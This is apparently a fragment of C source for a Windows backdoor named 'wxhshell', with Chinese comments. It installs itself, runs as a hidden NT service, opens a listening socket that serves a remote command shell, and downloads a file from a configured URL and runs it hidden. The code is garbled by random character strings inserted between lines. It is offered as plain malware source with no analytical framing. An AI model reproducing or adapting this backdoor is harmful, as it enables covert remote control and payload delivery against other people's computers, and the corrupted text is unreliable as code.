(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wk[4Qsk< hqwDlapTt if (!NtQueryInformationProcess) return 0; ?Fp2W+M
j > %B7/l$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XRx^4]c if(!hProcess) return 0; sG K7Uy WTX!)H6Zv if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d"U'\ID2y ! a!^'2 CloseHandle(hProcess); dZIruZ)x g3Z"ri~!G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,E3Ze*(U if(hProcess==NULL) return 0; ^EFVjGM t*dd/a HMODULE hMod; d:{#Dk# char procName[255]; [+.P'6/[$R unsigned long cbNeeded; }h=}!R'm >Nr~7s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1P6!E*z\ vL
]z3 CloseHandle(hProcess); e4<[|B!O o)r%4YOL if(strstr(procName,"services")) return 1; // 以服务启动 ]rMHO S>nf]J` return 0; // 注册表启动
B +<i=w } gWLhO|y Dxp.b$0t // 主模块 G Ebm$\ int StartWxhshell(LPSTR lpCmdLine) m&{%6 { A=bBI>GEYP SOCKET wsl; {O"N2W BOOL val=TRUE; =Eb4Iyz int port=0; &T&>4I!'M struct sockaddr_in door; g),t PGNH<E) if(wscfg.ws_autoins) Install(); |:)ARH6l# .0b4"0~T6 port=atoi(lpCmdLine); ?
e<D + rcU*6`IWA if(port<=0) port=wscfg.ws_port; ''3b[< dk[MT'DV WSADATA data; /&!4oBna if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "R
%3v.Z o%_Hmd;_' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K!jMW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1%Su~Z"W> door.sin_family = AF_INET; |Q*OA door.sin_addr.s_addr = inet_addr("127.0.0.1"); HBiUp$(mB door.sin_port = htons(port); eccJt ,f)#&}x*2+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0jmPj closesocket(wsl); (!"&c*
< return 1; IEeh9:Km } u 1)
#^?
y@2$sK3K if(listen(wsl,2) == INVALID_SOCKET) { J[{?Y'RUM closesocket(wsl); c#<p44>U return 1; <&MY/vV } F*J@OY8i Wxhshell(wsl); z(
^
r WSACleanup(); 8/BWe
;4 D5$|vv1 return 0; 'Fr"96C$ +LB2V3UZ } zya2 O?s cVuT|b^ // 以NT服务方式启动 cTu"Tu\Qw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?*dt JL { o3,}X@p DWORD status = 0; \SyG#.$ DWORD specificError = 0xfffffff; -APbN(Vi :O/QgGZN$ serviceStatus.dwServiceType = SERVICE_WIN32; R}T\<6Y serviceStatus.dwCurrentState = SERVICE_START_PENDING; X6G2$| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }[b3$WZ serviceStatus.dwWin32ExitCode = 0; D0VbD" y serviceStatus.dwServiceSpecificExitCode = 0; 6`V~cVu serviceStatus.dwCheckPoint = 0; d$#DXLA\P serviceStatus.dwWaitHint = 0; YF68Ax] Ac8t>;=& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mi:i1i
cdn if (hServiceStatusHandle==0) return; Ee097A?1vj gH:+$FA status = GetLastError(); $q 9dkt if (status!=NO_ERROR) $b`~K MO { 4H_QQ6 serviceStatus.dwCurrentState = SERVICE_STOPPED; v&r\Z @% serviceStatus.dwCheckPoint = 0; u )kQ*& serviceStatus.dwWaitHint = 0; '@G=xYR serviceStatus.dwWin32ExitCode = status; fp?cb2'7 serviceStatus.dwServiceSpecificExitCode = specificError; {vox
x&UX SetServiceStatus(hServiceStatusHandle, &serviceStatus); O%*:fd,o- return; -W.bOr } Wo+^R%K'4 LtVIvZie serviceStatus.dwCurrentState = SERVICE_RUNNING; )JXy>q# serviceStatus.dwCheckPoint = 0;
YES-,;ZQ' serviceStatus.dwWaitHint = 0; h42dk(B if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xM2UwTpW } +~\ 1g^h G6q*U, // 处理NT服务事件,比如:启动、停止 f(E[jwy VOID WINAPI NTServiceHandler(DWORD fdwControl) &@fW6},iW { xFp?+a switch(fdwControl) >^J { |H&&80I case SERVICE_CONTROL_STOP: h%8C_mA serviceStatus.dwWin32ExitCode = 0; o@uZU4MM serviceStatus.dwCurrentState = SERVICE_STOPPED; n0%5mTUN serviceStatus.dwCheckPoint = 0; g[ O6WZ!F_ serviceStatus.dwWaitHint = 0; 4`] { \fSo9$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); tNC;CP#R+ } ^7iP!-w/ return; ^Fg!.X_ case SERVICE_CONTROL_PAUSE: oz&RNB.K serviceStatus.dwCurrentState = SERVICE_PAUSED;
4b
1a? break; OCv,EZ case SERVICE_CONTROL_CONTINUE: /amWf^z serviceStatus.dwCurrentState = SERVICE_RUNNING; V#TNv0&0 break; Z7J4rTA case SERVICE_CONTROL_INTERROGATE: Xz\ X 8I break; Rv Uw,= }; ~'VVCtA SetServiceStatus(hServiceStatusHandle, &serviceStatus); KSQ*HO)5 } Ws;X;7tS vpz l{ // 标准应用程序主函数 e`bP=7`0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~*hCTqHvN { j5MUP&/g3 t`pbEjE0K // 获取操作系统版本 sfzDE&>' OsIsNt=GetOsVer(); 0`$fs.4c GetModuleFileName(NULL,ExeFile,MAX_PATH); Z=9gok\ &}!AjA) // 从命令行安装 SlI
wLv^ if(strpbrk(lpCmdLine,"iI")) Install(); 2U&+K2 K:b^@>XH // 下载执行文件 #+(@i|!ifo if(wscfg.ws_downexe) { N ,nvAM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6[\1Nzy> WinExec(wscfg.ws_filenam,SW_HIDE); \:9<d@? } VfkQc$/ L7nW_ if(!OsIsNt) { BE)&.}l // 如果时win9x,隐藏进程并且设置为注册表启动 MN[D)RKh; HideProc(); & {=}U StartWxhshell(lpCmdLine); [7h/ 2La# }
/>2zKF? else to(lE2`.da if(StartFromService()) q+{yv // 以服务方式启动 dZuPR StartServiceCtrlDispatcher(DispatchTable); 21z@-&Oq else TFDzTD // 普通方式启动 7[:?VXQ StartWxhshell(lpCmdLine); eqk.+~^ 'tJxADK return 0; BMItHn]. }
|